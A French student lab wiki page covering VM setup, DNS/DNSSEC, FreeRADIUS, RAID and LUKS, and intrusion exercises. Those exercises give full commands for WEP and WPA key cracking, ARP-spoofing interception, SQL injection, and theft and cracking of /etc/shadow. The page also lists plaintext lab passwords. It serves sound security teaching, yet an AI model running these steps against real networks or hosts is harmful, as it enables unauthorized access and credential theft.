$ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh<br />
$ chmod +x les.sh && ./les.sh<br />
<br />
On obtient les failles suivantes (audit réalisé sur notre VM) :<br />
<br />
[+] [CVE-2021-27365] linux-iscsi<br />
...<br />
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write<br />
...<br />
[+] [CVE-2019-13272] PTRACE_TRACEME<br />
...<br />
<br />
== Cassage de clef WEP d’un point d’accès WiFi ==<br />
<br />
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :<br />
<br />
$ airmon-ng<br />
<br />
On trouve l'interface suivante :<br />
<br />
wlx40a5ef0127d0<br />
<br />
On essaie de démarrer l'interface sur le channel 3 :<br />
<br />
$ airmon-ng start wlx40a5ef0127d0 3<br />
<br />
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement "wlan0mon". On ré-utilise la commande précédente avec le nouveau nom d'interface :<br />
<br />
$ airmon-ng start wlan0mon 3<br />
<br />
On écoute ensuite tous les paquets dans l'air :<br />
<br />
$ airodump-ng wlan0mon<br />
<br />
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.<br />
<br />
$ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon<br />
<br />
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :<br />
<br />
$ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon<br />
<br />
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :<br />
<br />
$ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon<br />
<br />
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.<br />
<br />
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :<br />
<br />
$ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap<br />
<br />
On obtient alors :<br />
<br />
KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]<br />
Decrypted correctly: 100%<br />
<br />
== Cassage de mot de passe WPA-PSK par force brute ==<br />
<br />
$ airmon-ng<br />
$ airmon-ng start wlan0mon 9<br />
$ airodump-ng wlan0mon<br />
<br />
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :<br />
<br />
$ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon<br />
<br />
On crée le dictionnaire contenant toutes les clefs à tester avec la commande <code>crunch</code><br />
<br />
$ crunch 8 8 0123456789 -o dictionnaire.lst<br />
<br />
Pour savoir si un Handshake a été trouvé, on utilise la commande :<br />
<br />
$ aircrack-ng psk*.cap<br />
<br />
On trouve : <br />
<br />
# BSSID ESSID Encryption<br />
1 44:AD:D9:5F:87:05 kracotte06 WPA (1 handshake)<br />
<br />
On peut alors lancer la commande de test des clefs :<br />
<br />
$ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap<br />
<br />
Après un peu d'attente, on obtient la clef suivante :<br />
<br />
KEY FOUND! [ 59906999 ]<br />
<br />
== Attaque de type "homme au milieu" par usurpation ARP ==<br />
<br />
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.<br />
<br />
On fait :<br />
<br />
$ echo 1 > /proc/sys/net/ipv4/ip_forward<br />
<br />
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):<br />
<br />
$ arpspoof -t 172.26.145.61 172.26.145.254<br />
<br />
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.<br />
<br />
== Intrusion sur un serveur d’application Web ==<br />
<br />
Sur honey.plil.info : <br />
<br />
1. injection SQL<br />
<br />
2. connexion en tant qu'admin<br />
<br />
3. telechargement du fichier "config-db.php" (On remarque que il existe une BDD phpmyadmin) et "database.php" (ce fichier semble lui ne pas nous apporter d'informations)<br />
<br />
4. honey.plil.info/phpmyadmin -> connexion avec les logins trouvés dans le fichier "config-db.php" (phpmyadmin et gencovid19). On trouve alors une table "pma_users" indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).<br />
<br />
5. en essayant le mdp "gencovid19" avec ces identifiants sur phpmyadmin : on peut se connecter en tant que "root" sur la BDD et on trouve le mdp de rex dans la bdd "test" et table "users".<br />
<br />
6. connexion en ssh sur rex@honey.plil.info.<br />
<br />
7. comme indication : "le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets". Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo => bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :<br />
<br />
$ crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico.txt<br />
<br />
Et on double la taille des mots :<br />
<br />
$ sed -i 's/\(.*\)/\1\1/' dico.txt<br />
<br />
On copie ensuite les fichiers "/etc/passwd" et "/etc/shadow" de rex@honey.plil.info sur notre zabeth. <br />
<br />
$ scp rex@honey.plil.info:/etc/passwd .<br />
$ scp rex@honey.plil.info:/etc/shadow .<br />
<br />
On utilise alors l'utilitaire "shadow" pour obtenir un fichier contenant le mot de passe haché de root :<br />
<br />
$ unshadow passwd shadow | head -1 > honey<br />
<br />
Puis on utilise "John the Ripper" pour cracker le mot de passe :<br />
<br />
$ john -w:dico.txt honey<br />
<br />
Après quelques minutes, on peut afficher le mot de passe trouvé :<br />
<br />
$ john --show honey<br />
root:fortfort:0:0:root:/root:/bin/bash<br />
1 password hash cracked, 0 left<br />
<br />
On trouve le mot de passe de root@honey.plil.info qui est "fortfort".<br />
<br />
= Point d'accès Wi-Fi authentifié via FreeRADIUS =<br />
<br />
== Configuration du point d'accès ==<br />
<br />
=== Point d'accès ===<br />
<br />
Tout d'abord il faut configurer l'authentification EAP dans la configuration :<br />
<br />
conf t<br />
<br />
aaa new-model<br />
aaa authentication login eap_rose group radius_rose<br />
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin<br />
aaa group server radius radius_rose<br />
server 193.48.57.181 auth-port 1812 acct-port 1813<br />
exit<br />
<br />
Configurons le SSID :<br />
<br />
conf t<br />
<br />
dot11 ssid SSID_ROSE<br />
vlan 5<br />
authentication open eap eap_rose<br />
authentication network-eap eap_rose<br />
authentication key-management wpa<br />
mbssid guest-mode<br />
exit<br />
exit<br />
<br />
On associe notre SSID à l'interface WIFI :<br />
<br />
conf t<br />
<br />
interface Dot11Radio0<br />
encryption vlan 5 mode ciphers aes-ccm tkip<br />
ssid SSID_ROSE<br />
mbssid<br />
exit<br />
exit<br />
<br />
On paramètre notre VLAN (5)<br />
<br />
conf t<br />
<br />
interface Dot11Radio0.5<br />
encapsulation dot1Q 5<br />
no ip route-cache<br />
bridge-group 5<br />
bridge-group 5 subscriber-loop-control<br />
bridge-group 5 spanning-disabled<br />
bridge-group 5 block-unknown-source<br />
exit<br />
exit<br />
<br />
On configure l'interface filaire<br />
<br />
conf t<br />
<br />
interface GigabitEthernet0.5<br />
encapsulation dot1Q 5<br />
bridge-group 5<br />
exit<br />
exit<br />
<br />
Enfin, on configure l'IP de l'AP et sa gateway<br />
<br />
conf t<br />
<br />
ip default-gateway 10.1.0.1<br />
interface BVI 1<br />
ip address 10.1.0.3 255.255.255.0<br />
exit<br />
exit<br />
<br />
=== Routeur ===<br />
<br />
Commençons par configurer le VLAN 1 <br />
<br />
conf t<br />
<br />
interface vlan 1<br />
ip address 10.1.0.1 255.255.255.0<br />
exit<br />
exit<br />
<br />
Puis on configure le port (ici Gi1/0/3<br />
<br />
conf t<br />
<br />
interface Gi1/0/3<br />
switchport<br />
switchport mode trunk<br />
switchport trunk allowed vlan add 1<br />
exit<br />
exit<br />
<br />
Et voilà mon grand<br />
<br />
== Serveur FreeRADIUS ==<br />
<br />
Installation de freeRADIUS<br />
<br />
apt install freeradius<br />
<br />
On commence par configurer <code>/etc/freeradius/3.0/clients.conf</code> à détailler<br />
<br />
client zozo {<br />
ipaddr = 10.1.0.3/24<br />
secret = zinzin<br />
}<br />
<br />
ensuite <code>/etc/freeradius/3.0/eap.conf</code><br />
<br />
eap {<br />
[...]<br />
default_eap_type = peap<br />
}<br />
<br />
puis <code>/etc/freeradius/3.0/users</code><br />
<br />
[...]<br />
root Cleartext-Password := "glopglop"<br />
<br />
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug <code>freeradius -X</code> (après avoir au préalable stoppé le processus)<br />
<br />
= Réalisations =<br />
<br />
== Sécurisation des données (RAID 5) ==<br />
<br />
Nous avons besoin de 3 LV à rajouter à notre VM :<br />
<br />
$ lvcreate -L1G -n Bellerose-raid1 storage<br />
$ lvcreate -L1G -n Bellerose-raid2 storage<br />
$ lvcreate -L1G -n Bellerose-raid3 storage<br />
<br />
Nous pouvons ainsi les rajouter à la configuration de notre VM (<code>/etc/xen/Bellerose.cfg</code>):<br />
<br />
'phy:/dev/storage/Bellerose-raid1,xvda5,w'<br />
'phy:/dev/storage/Bellerose-raid2,xvda6,w'<br />
'phy:/dev/storage/Bellerose-raid3,xvda7,w'<br />
<br />
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.<br />
<br />
$ apt install mdadm<br />
<br />
On va ensuite créer un disque nommé <code>/dev/md0</code> grâce à <code>mdadm</code> :<br />
<br />
$ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7<br />
<br />
On peut ainsi vérifier que notre RAID 5 est effectif :<br />
<br />
$ lsblk<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
xvda1 202:1 0 512M 0 disk [SWAP]<br />
xvda2 202:2 0 4G 0 disk /<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
xvda5 202:5 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda6 202:6 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda7 202:7 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
<br />
Enfin il faut monter ce disque fraîchement créé :<br />
<br />
$ mkfs.ext4 /dev/md0<br />
$ mkdir /media/raid<br />
<br />
on ajoute cette ligne dans <code>/etc/fstab</code> :<br />
<br />
/dev/md0 /media/raid ext4 defaults 0 1<br />
<br />
puis<br />
<br />
$ mount -a<br />
<br />
et toc<br />
<br />
== Chiffrement des données ==<br />
<br />
On branche la clé USB sur le petit PC bleu, et on lance <code>lsblk</code> et on trouve :<br />
<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
sda 8:0 1 7,2G 0 disk <br />
<br />
Donc on peut formater la clef qui contient déjà quelque chose dessus :<br />
<br />
$ mkfs.ext4 /dev/sda<br />
<br />
Avec <code>cryptsetup</code> on peut initialiser la clef et lui donner un mdp :<br />
<br />
$ cryptsetup luksFormat /dev/sda<br />
<br />
On crée une partition chiffrée sur la clé :<br />
<br />
$ cryptsetup luksOpen /dev/sda data<br />
<br />
Et on formate :<br />
<br />
$ mkfs.ext4 /dev/mapper/data<br />
<br />
On monte cette partition pour lui permettre de contenir des fichiers :<br />
<br />
$ mkdir /mnt/data-usb<br />
$ mount -t ext4 /dev/mapper/data /mnt/data-usb<br />
<br />
On y ajoute donc un fichier de test :<br />
<br />
$ touch /mnt/data-usb/boujour.txt<br />
<br />
Puis on démonte et on ferme le volume chiffré<br />
<br />
$ umont /mnt/data-usb<br />
$ cryptsetup luksClose data<br />
<br />
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.<br />
<br />
= ASR lab project =<br />
<br />
== Ansible hello world ==<br />
<br />
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :<br />
<br />
<code>roles/ssh_key/tasks/main.yml</code><br />
---<br />
<br />
- name: Create .ssh if it does not exists<br />
file:<br />
path: ~/.ssh<br />
state: directory <br />
<br />
- name: Copy authorized_keys<br />
copy:<br />
src: authorized_keys<br />
dest: ~/.ssh/authorized_keys<br />
<br />
Ce dernier prend le fichier <code>../files/authorized_keys</code> (local) et le place dans <code>~/.ssh</code> (vm) après avoir créé ce répertoire si besoin.<br />
<br />
== Iptables ==<br />
<br />
<code>roles/iptables/tasks/main.yml</code><br />
---<br />
<br />
- name: Allow ports INPUT tcp<br />
iptables:<br />
chain: INPUT<br />
protocol: tcp<br />
destination_port: "{ { item } }"<br />
jump: ACCEPT<br />
ctstate: NEW,ESTABLISHED<br />
loop: "{ { iptables_accepted_tcp_ports } }"<br />
<br />
- name: Allow ports INPUT udp<br />
iptables:<br />
chain: INPUT<br />
protocol: udp<br />
destination_port: "{ { item } }"<br />
jump: ACCEPT<br />
ctstate: NEW,ESTABLISHED<br />
loop: "{ { iptables_accepted_udp_ports } }"<br />
<br />
- name: Set the policy for the INPUT chain to DROP<br />
ansible.builtin.iptables:<br />
chain: INPUT<br />
policy: DROP<br />
<br />
Ici on ajoute tous les ports que l'on veut ouvert en premier, puis on passe la <code>POLICY</code> à DROP pour ne pas accepter les autres connexions. (il n'y a pas d'espace entre les accolades normalement mais le WIKI nous emmerde)<br />
<br />
Nos ports sont variabilisés:<br />
<br />
<code>roles/iptables/defaults/main.yml</code><br />
---<br />
<br />
iptables_accepted_tcp_ports:<br />
- 8600<br />
- 8500<br />
- 8501<br />
- 8502<br />
- 8301<br />
- 8302<br />
- 8300 <br />
- 22<br />
- 80<br />
- 443<br />
<br />
iptables_accepted_udp_ports:<br />
- 8600<br />
- 8301<br />
- 8302<br />
- 22<br />
- 80<br />
- 443<br />
<br />
voilà<br />
<br />
== Consul ==<br />
<br />
Le fichier <code>roles/consul/tasks/main.yml</code> contient :<br />
<br />
---<br />
<br />
- name: Create consul group<br />
group:<br />
name: consul<br />
state: present<br />
gid: 666<br />
<br />
- name: Create consul user<br />
user:<br />
name: consul<br />
state: present<br />
uid: 666<br />
group: consul<br />
<br />
- name: Create dirs<br />
file:<br />
state: directory<br />
path: "{ { item } }"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- /etc/consul<br />
- /var/lib/consul<br />
<br />
- name: Add HashiCorp key<br />
apt_key:<br />
url: https://apt.releases.hashicorp.com/gpg<br />
state: present<br />
<br />
- name: Add HashiCorp repo<br />
apt_repository:<br />
repo: "deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main"<br />
state: present<br />
update_cache: true<br />
<br />
- name: Install Consul<br />
package:<br />
name: consul<br />
state: present<br />
<br />
- name: Put config<br />
copy:<br />
src: config.json<br />
dest: /etc/consul/server.json<br />
owner: consul<br />
group: consul<br />
<br />
- name: Add consul systemd service file<br />
copy:<br />
src: consul.service<br />
dest: /etc/systemd/system/consul.service<br />
<br />
- name: Start consul service<br />
systemd:<br />
name: consul<br />
state: restarted<br />
enabled: yes<br />
<br />
Et le fichier <code>roles/consul/files/config.json</code> contient :<br />
<br />
{<br />
"datacenter": "polytech",<br />
"data_dir": "/var/lib/consul",<br />
"log_level": "INFO",<br />
"node_name": "jsp",<br />
"server": true,<br />
"bind_addr": "172.26.145.106",<br />
"bootstrap": true,<br />
"bootstrap_expect": 1,<br />
"ui": true,<br />
"client_addr": "0.0.0.0"<br />
}<br />
<br />
Oui, rien n'est variabilisé mais le principe est là.</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&diff=57986TP sysres IMA5 2021/2022 G62022-01-12T12:08:25Z<p>Lwadbled : /* Consul */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
=Création de la machine virtuelle=<br />
<br />
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :<br />
<br />
$ export http_proxy=http://proxy.plil.fr:3128<br />
<br />
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.<br />
<br />
$ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.<br />
<br />
$ lvcreate -L10G -n Bellerose1 storage<br />
$ lvcreate -L10G -n Bellerose2 storage<br />
<br />
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :<br />
<br />
$ mkfs.ext4 /dev/storage/Bellerose1<br />
$ mkfs.ext4 /dev/storage/Bellerose2<br />
<br />
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.<br />
<br />
$ vim /etc/xen/Bellerose.cfg<br />
disk = [<br />
'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',<br />
'phy:/dev/storage/Bellerose1,xvda3,w',<br />
'phy:/dev/storage/Bellerose2,xvda4,w'<br />
]<br />
vif = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]<br />
<br />
On peut maintenant lancer notre machine virtuelle :<br />
<br />
$ xl create -c /etc/xen/Bellerose.cfg<br />
<br />
Avec la commande :<br />
<br />
$ cat /etc/fstab<br />
<br />
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :<br />
<br />
$ mkdir /mnt/xvda3<br />
$ mkdir /mnt/xvda4<br />
$ mount /dev/xvda3 /mnt/xvda3<br />
$ mount /dev/xvda4 /mnt/xvda4<br />
<br />
Puis on déplace le répertoire var dans le disque xvda4 :<br />
<br />
$ mv /var/* /mnt/xvda4<br />
<br />
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :<br />
<br />
# /home vers xvda3<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
# /var vers xvda4<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
On monte le tout à l'aide de la commande :<br />
<br />
mount -a<br />
<br />
Enfin avec lsblk, on peut voir les deux partitions de notre VM :<br />
<br />
$ lsblk<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
<br />
Enfin, nous activons l'IPv6 sur l'interface en modifiant <code>/etc/network/interfaces</code><br />
<br />
iface eth0 inet6 auto<br />
<br />
Pour quitter la VM : CTRL+]<br />
<br />
= Services Internet =<br />
<br />
== Serveur SSH ==<br />
<br />
$ apt install openssh-server<br />
<br />
on édite le fichierde conf <code>/etc/ssh/sshd_config</code> (via ssh key) :<br />
<br />
PermitRootLogin without-password // je l'ai repassé en "yes" suite au mail et le mdp root est celui de pifou habituel <br />
PubkeyAuthentication yes<br />
<br />
après on reload la conf<br />
<br />
$ systemctl reload ssh<br />
<br />
On génère une clé ssh depuis notre zabeth avec <code>ssh-keygen -t ed25519</code> et on l'ajoute dans <code>/.ssh/authorized_keys</code> et c'est gooooood<br />
<br />
== Serveur DNS ==<br />
<br />
on achète le ndd<br />
<br />
on crée un "Glue Record" pour notre nameserver <code>ns1.belle-rose.site</code><br />
<br />
on install bind<br />
<br />
$ apt install bind9<br />
<br />
on configure <code>/etc/resolv.conf</code><br />
<br />
nameserver 127.0.0.1<br />
<br />
on configure bind <code>/etc/bind/named.conf.local</code><br />
<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute nos ns <code>/etc/bind/db.belle-rose.site</code><br />
<br />
;<br />
; BIND dans ta face<br />
;<br />
$TTL 604800<br />
@ IN SOA ns1.belle-rose.site. postmaster.belle-rose.site. (<br />
2 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns1.belle-rose.site.<br />
@ IN NS ns6.gandi.net.<br />
ns1 IN A 193.48.57.181<br />
<br />
Ensuite on peut tester notre conf avec<br />
<br />
$ host -t any ns1.belle-rose.site localhost<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
ns1.belle-rose.site has address 193.48.57.181<br />
<br />
Et on incrémente aussi le Serial dans <code>/etc/bind/db.belle-rose.site</code> à 3.<br />
<br />
== Certificat ==<br />
<br />
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat <code>Let's Encrypt</code>. Après avoir installé <code>certbot</code>, on utilise simplement la commande :<br />
<br />
certbot --apache<br />
<br />
https://www.belle-rose.site/ IZOK<br />
<br />
== DNSSEC ==<br />
<br />
On suit les étapes suivantes :<br />
<br />
1. On ajoute l’option <code>dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code><br />
<br />
2. On crée un répertoire <code>belle-rose.site.dnssec</code> pour y générer les clefs<br />
<br />
3. On crée la clef asymétrique de signature de clefs de zone :<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site<br />
<br />
4. On crée la clef asymétrique de la zone pour signer les enregistrements<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site <br />
<br />
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
$ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key<br />
$ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key<br />
$ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private<br />
$ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private<br />
<br />
6. On inclue les clefs publiques dans votre fichier de zone <code>/etc/bind/db.belle-rose.site</code>, et on incrémente le numéro de version de la zone ;<br />
<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key<br />
<br />
7. On signe les enregistrements de la zone ;<br />
<br />
$ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk<br />
<br />
8. On modifie le fichier <code>named.conf.local</code> pour utiliser la zone signée de suffixe .signed :<br />
<br />
$ vim ../named.conf.local<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section "Manage DNSSEC" puis "DNS servers")<br />
<br />
root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key <br />
; This is a key-signing key, keyid 22094, for belle-rose.site.<br />
; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
<br />
(on copie que la partie chiffrée, pas le record DNSKEY)<br />
<br />
10. Enfin, nous pouvons tester la configuration:<br />
<br />
root@Bellerose:~# host -t any belle-rose.site<br />
belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=<br />
belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F<br />
belle-rose.site name server ns6.gandi.net.<br />
belle-rose.site name server ns1.belle-rose.site.<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==<br />
belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut<br />
belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=<br />
belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY<br />
belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=<br />
belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=<br />
belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800<br />
<br />
= Tests d'intrusion =<br />
<br />
== Exploitation de failles du système ==<br />
<br />
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. > https://github.com/mzet-/linux-exploit-suggester<br />
<br />
En suivant la documentation :<br />
<br />
